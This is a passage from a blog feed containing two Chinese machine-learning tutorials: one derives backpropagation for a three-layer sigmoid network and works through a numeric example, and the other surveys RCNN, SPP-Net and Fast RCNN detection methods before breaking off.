src="http://upload-images.jianshu.io/upload_images/145616-67d7988a4783c6a0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-6c9b26999076e229.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-25ed873c3fd53595.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-2af819d45509d1e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-40c7e1c9c6f8cd66.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><hr><p><img src="http://upload-images.jianshu.io/upload_images/145616-73012c1bbefe6fd4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-d95cd8caa246cfd5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-7b7e599bf97627ba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-ef5d956b6c35c904.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-e801483bf206b984.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-74eacee144d4ac4b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><hr><p><img src="http://upload-images.jianshu.io/upload_images/145616-7ad6f7e9368f4c91.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-6cb99673d9ba0fa3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-7420efdf411bbf82.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-ce90b252f0901bc6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-d830f54f90ba8f24.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-84cef5edf507cd73.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><hr><h1 id="“BP”-Math-Principle"><a href="#“BP”-Math-Principle" class="headerlink" title="“BP” Math Principle"></a>“BP” Math Principle</h1><p>======================================================================<br><strong>Example</strong>：下面看一个简单的三层神经网络模型，一层输入层，一层隐藏层，一层输出层。</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-4a6d84a2e3f81c87.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>注：定义输入分别为x1, x2（对应图中的i1，i2），期望输出为y1，y2，假设logistic函数采用sigmoid函数:</p><p><img src="http://latex.codecogs.com/png.latex?y%20=%20f(x)=sigmoid(x)%20=\frac{1}{1%20+%20e^{-x}}" alt=""></p><p>易知：<br><img src="http://latex.codecogs.com/png.latex?f%27(x)%20=%20f(x)%20*%20(1%20-%20f(x))" alt=""></p><p>下面开始正式分析(纯手打！！！)。</p><p>======================================================================</p><h1 id="前向传播"><a href="#前向传播" class="headerlink" title="前向传播"></a><strong>前向传播</strong></h1><p>首先分析神经元h1： </p><p><img src="http://latex.codecogs.com/png.latex?input_{(h1)}%20=%20w1%20*%20x1%20+%20w2%20*%20x2%20+%20b1" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?output_{(h1)}%20=%20f(input_{(h1)})%20=%20\frac{1}{1%20+%20e^{-(w1*x1+w2*x2+b1)}}" alt=""></p><p>同理可得神经元h2：<br><img src="http://latex.codecogs.com/png.latex?input_{(h2)}%20=%20w3%20*%20x1%20+%20w4%20*%20x2%20+%20b1" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?output_{(h2)}%20=%20f(input_{(h2)})%20=%20\frac{1}{1%20+%20e^{-(w3*x1+w4*x2+b1)}}" alt=""></p><p>对输出层神经元重复这个过程，使用隐藏层神经元的输出作为输入。这样就能给出o1，o2的输入输出：<br><img src="http://latex.codecogs.com/png.latex?input_{(o1)}%20=%20w5%20*%20output_{(h1)}%20+%20w6%20*%20output_{(h2)}%20+%20b2" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?output_{(o1)}%20=%20f(input_{(o1)})" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?input_{(o2)}%20=%20w7%20*%20output_{(h1)}%20+%20w8%20*%20output_{(h2)}%20+%20b2" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?output_{(o2)}%20=%20f(input_{(o2)})" alt=""></p><p>现在开始统计所有误差，如下：<br><img src="http://latex.codecogs.com/png.latex?J_{total}%20=%20\sum%20\frac{1}{2}(output%20-%20target)^2%20=%20J_{o1}+J_{o2}" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?J_{o1}%20=%20\frac{1}{2}(output(o1)-y1)^2" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?J_{o2}%20=%20\frac{1}{2}(output(o2)-y2)^2" alt=""></p><p>======================================================================</p><h1 id="反向传播"><a href="#反向传播" class="headerlink" title="反向传播"></a><strong>反向传播</strong></h1><h2 id="【输出层】"><a href="#【输出层】" class="headerlink" title="【输出层】"></a><strong>【输出层】</strong></h2><p>对于w5，想知道其改变对总误差有多少影响，于是求Jtotal对w5的偏导数，如下：<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w5}=\frac{\partial%20J_{total}}{\partial%20output_{(o1)}}*\frac{\partial%20output_{(o1)}}{\partial%20input_{(o1)}}*\frac{\partial%20input_{(o1)}}{\partial%20w5}" alt=""></p><p>分别求每一项：<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20output_{(o1)}}=\frac{\partial%20J_{o1}}{\partial%20output_{(o1)}}=output_{(o1)}-y_1" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20output_{(o1)}}{\partial%20input_{(o1)}}%20=%20f%27(input_{(o1)})=output_{(o1)}*(1%20-%20output_{(o1)})" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20input_{(o1)}}{\partial%20w5}=\frac{\partial%20(w5%20*%20output_{(h1)}%20+%20w6%20*%20output_{(h2)}%20+%20b2)}{\partial%20w5}=output_{(h1)}" alt=""></p><p>于是有Jtotal对w5的偏导数：<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w5}=(output_{(o1)}-y1)*[output_{(o1)}*(1%20-%20output_{(o1)})]*output_{(h1)}" alt=""></p><p>据此更新权重w5，有：<br><img src="http://latex.codecogs.com/png.latex?w5^+%20=%20w5%20-%20\eta*\frac{\partial%20J_{total}}{\partial%20w5}" alt=""></p><p>同理可以更新参数w6，w7，w8。<br>在有新权重导入隐藏层神经元（即，当继续下面的反向传播算法时，使用原始权重，而不是更新的权重）之后，执行神经网络中的实际更新。</p><h2 id="【隐藏层】"><a href="#【隐藏层】" class="headerlink" title="【隐藏层】"></a><strong>【隐藏层】</strong></h2><p><img src="http://upload-images.jianshu.io/upload_images/145616-4f4ed88c60ee15e4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>对于w1，想知道其改变对总误差有多少影响，于是求Jtotal对w1的偏导数，如下：<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w1}=\frac{\partial%20J_{total}}{\partial%20output_{(h1)}}*\frac{\partial%20output_{(h1)}}{\partial%20input_{(h1)}}*\frac{\partial%20input_{(h1)}}{\partial%20w1}" alt=""></p><p>分别求每一项：</p><hr><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20output_{(h1)}}=\frac{\partial%20J_{o1}}{\partial%20output_{(h1)}}+\frac{\partial%20J_{o2}}{\partial%20output_{(h1)}}" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{o1}}{\partial%20output_{(h1)}}=\frac{\partial%20J_{o1}}{\partial%20output_{(o1)}}*\frac{\partial%20output_{(o1)}}{\partial%20input_{(o1)}}*\frac{\partial%20input_{(o1)}}{\partial%20output_{(h1)}}" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?=(output_{(o1)}-y1)*[output_{(o1)}*(1%20-%20output_{(o1)})]*w5" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{o2}}{\partial%20output_{(h1)}}=\frac{\partial%20J_{o2}}{\partial%20output_{(o2)}}*\frac{\partial%20output_{(o2)}}{\partial%20input_{(o2)}}*\frac{\partial%20input_{(o2)}}{\partial%20output_{(h1)}}" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?=(output_{(o2)}-y2)*[output_{(o2)}*(1%20-%20output_{(o2)})]*w7" alt=""></p><hr><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20output_{(h1)}}{\partial%20input_{(h1)}}%20=%20f%27(input_{(h1)})=output_{(h1)}*(1%20-%20output_{(h1)})" alt=""></p><hr><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20input_{(h1)}}{\partial%20w1}=\frac{\partial%20(w1%20*%20x1%20+%20w2%20*%20x2%20+%20b1)}{\partial%20w1}=x1" alt=""></p><p>于是有Jtotal对w1的偏导数：</p><p><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w1}=\{(output_{(o1)}-y1)*[output_{(o1)}*(1%20-%20output_{(o1)})]*w5" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?+%20(output_{(o2)}-y2)*[output_{(o2)}*(1%20-%20output_{(o2)})]*w7\}*" alt=""></p><p><img src="http://latex.codecogs.com/png.latex?[output_{(h1)}*(1%20-%20output_{(h1)})]*x1" alt=""></p><p>据此更新w1，有：</p><p><img src="http://latex.codecogs.com/png.latex?w1^+%20=%20w1%20-%20\eta*\frac{\partial%20J_{total}}{\partial%20w1}" alt=""></p><p>同理可以更新参数w2，w3，w4。</p><p>======================================================================</p><h1 id="应用实例"><a href="#应用实例" class="headerlink" title="应用实例"></a><strong>应用实例</strong></h1><p>假设对于上述简单三层网络模型，按如下方式初始化权重和偏置：</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-c8c0d034ff7a0c4f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>根据上述推导的公式：<br>由</p><p><img src="http://latex.codecogs.com/png.latex?input_{(h1)}%20=%20w1%20*%20x1%20+%20w2%20*%20x2%20+%20b1" alt=""></p><p>得到：<br>input(h1) = 0.15 * 0.05 + 0.20 * 0.10 + 0.35 = 0.3775<br>output(h1) = f(input(h1)) = 1 / (1 + e^(-input(h1))) = 1 / (1 + e^-0.3775) = 0.593269992</p><p>同样得到：<br>input(h2) = 0.25 * 0.05 + 0.30 * 0.10 + 0.35 = 0.3925<br>output(h2) = f(input(h2)) = 1 / (1 + e^(-input(h2))) = 1 / (1 + e^-0.3925) = 0.596884378</p><p>对输出层神经元重复这个过程，使用隐藏层神经元的输出作为输入。这样就能给出o1的输出：<br>input(o1) = w5 * output(h1) + w6 * (output(h2)) + b2 = 0.40 * 0.593269992 + 0.45 * 0.596884378 + 0.60 = 1.105905967<br>output(o1) = f(input(o1)) = 1 / (1 + e^-1.105905967) = 0.75136507</p><p>同理output(o2) = 0.772928465</p><p>开始统计所有误差，求代价函数：<br>Jo1 = 1/2 * (0.75136507 - 0.01)^2 = 0.298371109<br>Jo2 = 1/2 * (0.772928465 - 0.99)^2 = 0.023560026</p><p><strong>综合所述</strong>，可以得到总误差为：Jtotal = Jo1 + Jo2 = 0.321931135</p><p>然后反向传播，根据公式<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w5}=(output_{(o1)}-y1)*[output_{(o1)}*(1%20-%20output_{(o1)})]*output_{(h1)}" alt=""></p><p>求出 Jtotal对w5的偏导数为:<br>a = (0.75136507 - 0.01)*0.75136507*(1-0.75136507)*0.593269992 = 0.082167041</p><p>为了减少误差，然后从当前的权重减去这个值（可选择乘以一个学习率，比如设置为0.5），得：<br>w5+ = w5 - eta * a = 0.40 - 0.5 * 0.082167041 = 0.35891648</p><p>同理可以求出：<br>w6+ = 0.408666186<br>w7+ = 0.511301270<br>w8+ = 0.561370121</p><p>对于隐藏层，更新w1，求Jtotal对w1的偏导数：<br><img src="http://latex.codecogs.com/png.latex?\frac{\partial%20J_{total}}{\partial%20w1}=\{(output_{(o1)}-y1)*[output_{(o1)}*(1%20-%20output_{(o1)})]*w5" alt=""><br><img src="http://latex.codecogs.com/png.latex?+%20(output_{(o2)}-y2)*[output_{(o2)}*(1%20-%20output_{(o2)})]*w7\}*" alt=""><br><img src="http://latex.codecogs.com/png.latex?[output_{(h1)}*(1%20-%20output_{(h1)})]*x1" alt=""></p><p>偏导数为：<br>b = (tmp1 + tmp2) * tmp3</p><p>tmp1 = (0.75136507 - 0.01) * [0.75136507 * (1 - 0.75136507)] * 0.40 = 0.74136507 * 0.186815602 * 0.40 = 0.055399425<br>tmp2 = -0.019049119<br>tmp3 = 0.593269992 * (1 - 0.593269992) * 0.05 = 0.012065035</p><p>于是b = 0.000438568</p><p>更新权重w1为：<br>w1+ = w1 - eta * b = 0.15 - 0.5 * 0.000438568 = 0.149780716</p><p>同样可以求得：<br>w2+ = 0.19956143<br>w3+ = 0.24975114<br>w4+ = 0.29950229</p><p>最后，更新了所有的权重！ 当最初前馈传播时输入为0.05和0.1，网络上的误差是0.298371109。 在第一轮反向传播之后，总误差现在下降到0.291027924。 它可能看起来不太多，但是在重复此过程10,000次之后。例如，错误倾斜到0.000035085。<br>在这一点上，当前馈输入为0.05和0.1时，两个输出神经元产生0.015912196（相对于目标为0.01）和0.984065734（相对于目标为0.99），已经很接近了O(∩_∩)O~~</p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="https://zhuanlan.zhihu.com/p/23270674" target="_blank" rel="external">https://zhuanlan.zhihu.com/p/23270674</a></li><li><a href="http://galaxy.agh.edu.pl/~vlsi/AI/backp_t_en/backprop.html" target="_blank" rel="external">Principles of training multi-layer neural network using backpropagation</a></li><li><a href="http://www.jianshu.com/p/2aca6e8ac7c8" target="_blank" rel="external">[RNN] Simple LSTM代码实现 &amp; BPTT理论推导</a></li><li><a href="http://www.jianshu.com/p/c7e3f417641c" target="_blank" rel="external">简书中如何编辑Latex数学公式</a></li></ul><hr><p>(转载请联系作者并注明出处，谢谢！)</p>]]></content>
    
    <summary type="html">
    
      &lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://zhwhong.github.io/2017/02/24/Backpropagation-through-time-BPTT/&quot;&gt;[RNN] Simple LSTM代码实现 &amp;amp; BPTT理论推导&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;【知识预备】： &lt;a href=&quot;http://deeplearning.stanford.edu/wiki/index.php/%E5%8F%8D%E5%90%91%E4%BC%A0%E5%AF%BC%E7%AE%97%E6%B3%95&quot;&gt;UFLDL教程 - 反向传导算法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先我们不讲数学，先上图解，看完图不懂再看后面：&lt;/p&gt;
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="Algorithm" scheme="http://zhwhong.cn/tags/Algorithm/"/>
    
  </entry>
  
  <entry>
    <title>[Detection] 深度学习之 &quot;物体检测&quot; 方法梳理</title>
    <link href="http://zhwhong.cn/2017/02/24/Detection-CNN/"/>
    <id>http://zhwhong.cn/2017/02/24/Detection-CNN/</id>
    <published>2017-02-24T10:20:50.000Z</published>
    <updated>2017-03-25T16:00:40.709Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><h2 id="Index"><a href="#Index" class="headerlink" title="Index"></a>Index</h2><ul><li><a href="http://arxiv.org/abs/1311.2524" target="_blank" rel="external">RCNN</a> </li><li><a href="https://arxiv.org/abs/1406.4729" target="_blank" rel="external">SPP-Net</a></li><li><a href="http://arxiv.org/abs/1504.08083" target="_blank" rel="external">Fast RCNN</a> </li><li><a href="http://arxiv.org/abs/1506.01497" target="_blank" rel="external">Faster RCNN</a> </li><li><a href="http://arxiv.org/pdf/1605.06409v1.pdf" target="_blank" rel="external">R-FCN</a></li><li><a href="http://arxiv.org/abs/1506.02640" target="_blank" rel="external">YOLO</a> </li><li><a href="https://arxiv.org/abs/1612.08242" target="_blank" rel="external">YOLO2</a></li><li><a href="http://www.cs.unc.edu/~wliu/papers/ssd.pdf" target="_blank" rel="external">SSD</a> </li><li><a href="http://ieeexplore.ieee.org/abstract/document/1699659/" target="_blank" rel="external">NMS</a></li></ul><a id="more"></a><hr><p>　　本文部分转载自：<a href="http://www.cnblogs.com/venus024/p/5590044.html" target="_blank" rel="external">深度学习检测方法梳理</a>，原作者venus024，但是额外补充了一些其他相关内容，仅供学习交流使用，不得用于商业途径，转载请联系作者并注明出处，谢谢。</p><h2 id="1-RCNN"><a href="#1-RCNN" class="headerlink" title="1. RCNN"></a>1. RCNN</h2><blockquote><p>论文出处：<a href="http://arxiv.org/abs/1311.2524" target="_blank" rel="external">Rich feature hierarchies for accurate object detection and semantic segmentation</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Girshick_R/0/1/0/all/0/1" target="_blank" rel="external">Ross Girshick</a>, <a href="https://arxiv.org/find/cs/1/au:+Donahue_J/0/1/0/all/0/1" target="_blank" rel="external">Jeff Donahue</a>, <a href="https://arxiv.org/find/cs/1/au:+Darrell_T/0/1/0/all/0/1" target="_blank" rel="external">Trevor Darrell</a>, <a href="https://arxiv.org/find/cs/1/au:+Malik_J/0/1/0/all/0/1" target="_blank" rel="external">Jitendra Malik</a></p></blockquote><ul><li><strong>技术路线</strong>：selective search + CNN + SVMs</li></ul><p>　　早期，使用窗口扫描进行物体识别，计算量大。 RCNN去掉窗口扫描，用聚类方式，对图像进行分割分组，得到多个侯选框的层次组。</p><p><img src="RCNN.png" alt="RCNN"></p><h3 id="Step1-候选框提取-selective-search"><a href="#Step1-候选框提取-selective-search" class="headerlink" title="Step1:候选框提取(selective search)"></a>Step1:候选框提取(selective search)</h3><ul><li><strong>训练</strong>：给定一张图片，利用seletive search方法从中提取出2000个候选框。由于候选框大小不一，考虑到后续CNN要求输入的图片大小统一，将2000个候选框全部resize到227*227分辨率（为了避免图像扭曲严重，中间可以采取一些技巧减少图像扭曲）。</li><li><strong>测试</strong>：给定一张图片，利用seletive search方法从中提取出2000个候选框。由于候选框大小不一，考虑到后续CNN要求输入的图片大小统一，将2000个候选框全部resize到227*227分辨率（为了避免图像扭曲严重，中间可以采取一些技巧减少图像扭曲）。</li></ul><h3 id="Step2-特征提取-CNN"><a href="#Step2-特征提取-CNN" class="headerlink" title="Step2:特征提取(CNN)"></a>Step2:特征提取(CNN)</h3><ul><li><strong>训练</strong>：提取特征的CNN模型需要预先训练得到。训练CNN模型时，对训练数据标定要求比较宽松，即SS方法提取的proposal只包含部分目标区域时，我们也将该proposal标定为特定物体类别。这样做的主要原因在于，CNN训练需要大规模的数据，如果标定要求极其严格（即只有完全包含目标区域且不属于目标的区域不能超过一个小的阈值），那么用于CNN训练的样本数量会很少。因此，宽松标定条件下训练得到的CNN模型只能用于特征提取。</li><li><strong>测试</strong>：得到统一分辨率227*227的proposal后，带入训练得到的CNN模型，最后一个全连接层的输出结果—4096*1维度向量即用于最终测试的特征。</li></ul><h3 id="Step3-分类器-SVMs"><a href="#Step3-分类器-SVMs" class="headerlink" title="Step3:分类器(SVMs)"></a>Step3:分类器(SVMs)</h3><ul><li><strong>训练</strong>：对于所有proposal进行严格的标定（可以这样理解，当且仅当一个候选框完全包含ground truth区域且不属于ground truth部分不超过e.g,候选框区域的5%时认为该候选框标定结果为目标，否则为背景），然后将所有proposal经过CNN处理得到的特征和SVM新标定结果输入到SVMs分类器进行训练得到分类器预测模型。</li><li><strong>测试</strong>：对于一副测试图像，提取得到的2000个proposal经过CNN特征提取后输入到SVM分类器预测模型中，可以给出特定类别评分结果。</li><li><strong>结果生成</strong>：得到SVMs对于所有Proposal的评分结果，将一些分数较低的proposal去掉后，剩下的proposal中会出现候选框相交的情况。采用非极大值抑制技术，对于相交的两个框或若干个框，找到最能代表最终检测结果的候选框。</li></ul><hr><p>　　R-CNN需要对SS提取得到的每个proposal进行一次前向CNN实现特征提取，因此计算量很大，无法实时。此外，由于全连接层的存在，需要严格保证输入的proposal最终resize到相同尺度大小，这在一定程度造成图像畸变，影响最终结果。</p><ul><li>拓展阅读：<a href="http://blog.csdn.net/hjimce/article/details/50187029" target="_blank" rel="external">基于R-CNN的物体检测-CVPR 2014</a></li></ul><h2 id="2-SPP-Net"><a href="#2-SPP-Net" class="headerlink" title="2. SPP-Net"></a>2. SPP-Net</h2><blockquote><p>论文出处：<a href="https://arxiv.org/abs/1406.4729" target="_blank" rel="external">Spatial Pyramid Pooling in Deep Convolutional Networks for Visual Recognition</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+He_K/0/1/0/all/0/1" target="_blank" rel="external">Kaiming He</a>, <a href="https://arxiv.org/find/cs/1/au:+Zhang_X/0/1/0/all/0/1" target="_blank" rel="external">Xiangyu Zhang</a>, <a href="https://arxiv.org/find/cs/1/au:+Ren_S/0/1/0/all/0/1" target="_blank" rel="external">Shaoqing Ren</a>, <a href="https://arxiv.org/find/cs/1/au:+Sun_J/0/1/0/all/0/1" target="_blank" rel="external">Jian Sun</a><br>GitHub参考： <a href="https://github.com/ShaoqingRen/SPP_net" target="_blank" rel="external">https://github.com/ShaoqingRen/SPP_net</a></p></blockquote><p>传统CNN和SPP-Net流程对比如下图(图片来自<a href="http://www.image-net.org/challenges/LSVRC/2014/slides/sppnet_ilsvrc2014.pdf" target="_blank" rel="external">这里</a>)所示：</p><p><img src="SPP_net_1.png" alt="传统CNN和SPP-Net流程对比"></p><p><strong>SPP-net具有以下特点：</strong></p><ol><li>传统CNN网络中，卷积层对输入图像大小不作特别要求，但全连接层要求输入图像具有统一尺寸大小。因此，在R-CNN中，对于selective search方法提出的不同大小的proposal需要先通过Crop操作或Wrap操作将proposal区域裁剪为统一大小，然后用CNN提取proposal特征。相比之下，SPP-net在最后一个卷积层与其后的全连接层之间添加了一个SPP (spatial pyramid pooling) layer，从而避免对propsal进行Crop或Warp操作。总而言之，SPP-layer适用于不同尺寸的输入图像，通过SPP-layer对最后一个卷积层特征进行pool操作并产生固定大小feature map,进而匹配后续的全连接层。</li><li>由于SPP-net支持不同尺寸输入图像，因此SPP-net提取得到的图像特征具有更好的尺度不变性，降低了训练过程中的过拟合可能性。</li><li>R-CNN在训练和测试是需要对每一个图像中每一个proposal进行一遍CNN前向特征提取，如果是2000个propsal,需要2000次前向CNN特征提取。但SPP-net只需要进行一次前向CNN特征提取，即对整图进行CNN特征提取，得到最后一个卷积层的feature map，然后采用SPP-layer根据空间对应关系得到相应proposal的特征。SPP-net速度可以比R-CNN速度快24~102倍，且准确率比R-CNN更高（下图引自SPP-net原作论文，可以看到SPP-net中spp-layer前有5个卷积层，第5个卷积层的输出特征在位置上可以对应到原来的图像，例如第一个图中左下角车轮在其conv5的图中显示为“^”的激活区域，因此基于此特性，SPP-net只需要对整图进行一遍前向卷积，在得到的conv5特征后，然后用SPP-net分别提取相应proposal的特征）。</li></ol><p><img src="SPP_net_2.png" alt=""></p><p><strong>SPP-Layer原理：</strong></p><p>　　在R-CNN中，conv5后是pool5。在SPP-net中，用SPP-Layer替代原来的pool5，其目标是为了使不同大小输入图像在经过SPP-Layer后得到的特征向量长度相同。其原理如图如下所示：</p><p><img src="SPP_net_3.png" alt=""></p><p>　　SPP与金字塔pooling类似，即我们先确定最终pooling得到的feature map大小，例如4*4 bins，3*3 bins，2*2 bins，1*1 bins。那么我们已知conv5输出的feature map大小（例如，256个13*13的feature map）。那么，对于一个13*13的feature map,我们可以通过spatial pyramid pooling （SPP）的方式得到输出结果：当window=ceil(13/4)=4, stride=floor(13/4)=3,可以得到的4*4 bins；当window=ceil(13/3)=5, stride=floor(13/3)=4,可以得到的3*3 bins；当window=ceil(13/2)=7, stride=floor(13/2)=6,可以得到的2*2 bins；当window=ceil(13/1)=13, stride=floor(13/1)=13,可以得到的1*1 bins.因此SPP-Layer后的输出是256*（4*4+3*3+2*2+1*1）=256*30长度的向量。不难看出，SPP的关键实现在于通过conv5输出的feature map宽高和SPP目标输出bin的宽高计算spatial pyramid pooling中不同分辨率Bins对应的pooling window和pool stride尺寸。</p><p>　　原作者在训练时采用两种不同的方式，即 <strong>1.采用相同尺寸的图像训练SPP-net</strong>, <strong>2.采用不同尺寸的图像训练SPP-net</strong>。实验结果表明：使用不同尺寸输入图像训练得到的SPP-Net效果更好。</p><p><strong>SPP-Net +SVM训练：</strong></p><p>　　采用selective search可以提取到一系列proposals，由于已经训练完成SPP-Net,那么我们先将整图代入到SPP-Net中，得到的conv5的输出。接下来，区别于R-CNN，新方法不需要对不同尺寸的proposals进行Crop或Wrap，直接根据proposal在图中的相对位置关系计算得到proposal在整图conv5输出中的映射输出结果。这样，对于2000个proposal，我们事实上从conv1 —&gt; conv5只做了一遍前向，然后进行2000次conv5 feature map的集合映射，再通过SPP-Layer，就可以得到2000组长度相同的SPP-Layer输出向量，进而通过全连接层生成最终2000个proposal的卷积神经网络特征。接下来就和R-CNN类似，训练SVMs时对于所有proposal进行严格的标定（可以这样理解，当且仅当一个候选框完全包含ground truth区域且不属于ground truth部分不超过e.g,候选框区域的5%时认为该候选框标定结果为目标，否则为背景），然后将所有proposal经过CNN处理得到的特征和SVM新标定结果输入到SVMs分类器进行训练得到分类器预测模型。</p><p>　　当然，如果觉得SVM训练很麻烦，可以直接在SPP-Net后再加一个softmax层，用好的标定结果去训练最后的softmax层参数。</p><ul><li>拓展阅读：<a href="http://www.cnblogs.com/rocbomb/p/4428946.html" target="_blank" rel="external">RCNN SPP_net</a></li></ul><h2 id="3-Fast-RCNN"><a href="#3-Fast-RCNN" class="headerlink" title="3. Fast RCNN"></a>3. Fast RCNN</h2><blockquote><p>论文出处：<a href="http://arxiv.org/abs/1504.08083" target="_blank" rel="external">Fast R-CNN</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Girshick_R/0/1/0/all/0/1" target="_blank" rel="external">Ross Girshick</a></p></blockquote><p>　　基于R-CNN和SPP-Net思想，RBG提出了Fast R-CNN算法。如果选用VGG16网络进行特征提取，在训练阶段，Fast R-CNN的速度相比R-CNN和SPP-Net可以分别提升9倍和3倍；在测试阶段，Fast R-CNN的速度相比R-CNN和SPP-Net可以分别提升213倍和10倍。</p><p><strong>R-CNN和SPP-Net缺点：</strong></p><ol><li>R-CNN和SPP-Net的训练过程类似，分多个阶段进行，实现过程较复杂。这两种方法首先选用Selective Search方法提取proposals,然后用CNN实现特征提取，最后基于SVMs算法训练分类器，在此基础上还可以进一步学习检测目标的bounding box。</li><li>R-CNN和SPP-Net的时间成本和空间代价较高。SPP-Net在特征提取阶段只需要对整图做一遍前向CNN计算，然后通过空间映射方式计算得到每一个proposal相应的CNN特征；区别于前者，R-CNN在特征提取阶段对每一个proposal均需要做一遍前向CNN计算，考虑到proposal数量较多（~2000个），因此R-CNN特征提取的时间成本很高。R-CNN和SPP-Net用于训练SVMs分类器的特征需要提前保存在磁盘，考虑到2000个proposal的CNN特征总量还是比较大，因此造成空间代价较高。</li><li>R-CNN检测速度很慢。R-CNN在特征提取阶段对每一个proposal均需要做一遍前向CNN计算，如果用VGG进行特征提取，处理一幅图像的所有proposal需要47s。</li><li>特征提取CNN的训练和SVMs分类器的训练在时间上是先后顺序，两者的训练方式独立，因此SVMs的训练Loss无法更新SPP-Layer之前的卷积层参数，因此即使采用更深的CNN网络进行特征提取，也无法保证SVMs分类器的准确率一定能够提升。</li></ol><p><strong>Fast R-CNN亮点：</strong></p><ol><li>Fast R-CNN检测效果优于R-CNN和SPP-Net；</li><li>训练方式简单，基于多任务Loss,不需要SVM训练分类器；</li><li>Fast R-CNN可以更新所有层的网络参数（采用ROI Layer将不再需要使用SVM分类器，从而可以实现整个网络端到端训练）；</li><li>不需要将特征缓存到磁盘。</li></ol><p><strong>Fast R-CNN架构：</strong></p><p>　　Fast R-CNN的架构如下图所示（可以参考此<a href="https://github.com/rbgirshick/fast-rcnn/blob/master/models/VGG16/train.prototxt" target="_blank" rel="external">链接</a>理解网络模型）：输入一幅图像和Selective Search方法生成的一系列Proposals，通过一系列卷积层和Pooling层生成feature map，然后用RoI（region of ineterst）层处理最后一个卷积层得到的feature map为每一个proposal生成一个定长的特征向量roi_pool5。RoI层的输出roi_pool5接着输入到全连接层产生最终用于多任务学习的特征并用于计算多任务Loss。全连接输出包括两个分支：<code>1.SoftMax Loss</code> ：计算K+1类的分类Loss函数，其中K表示K个目标类别，1表示背景；<code>2.Regression Loss</code> ：即K+1的分类结果相应的proposal的bounding box四个角点坐标值。最终将所有结果通过非极大抑制(NMS)处理产生最终的目标检测和识别结果。</p><p><img src="Fast_RCNN.png" alt=""></p><h3 id="3-1-RoI-Pooling-Layer"><a href="#3-1-RoI-Pooling-Layer" class="headerlink" title="3.1 RoI Pooling Layer"></a>3.1 RoI Pooling 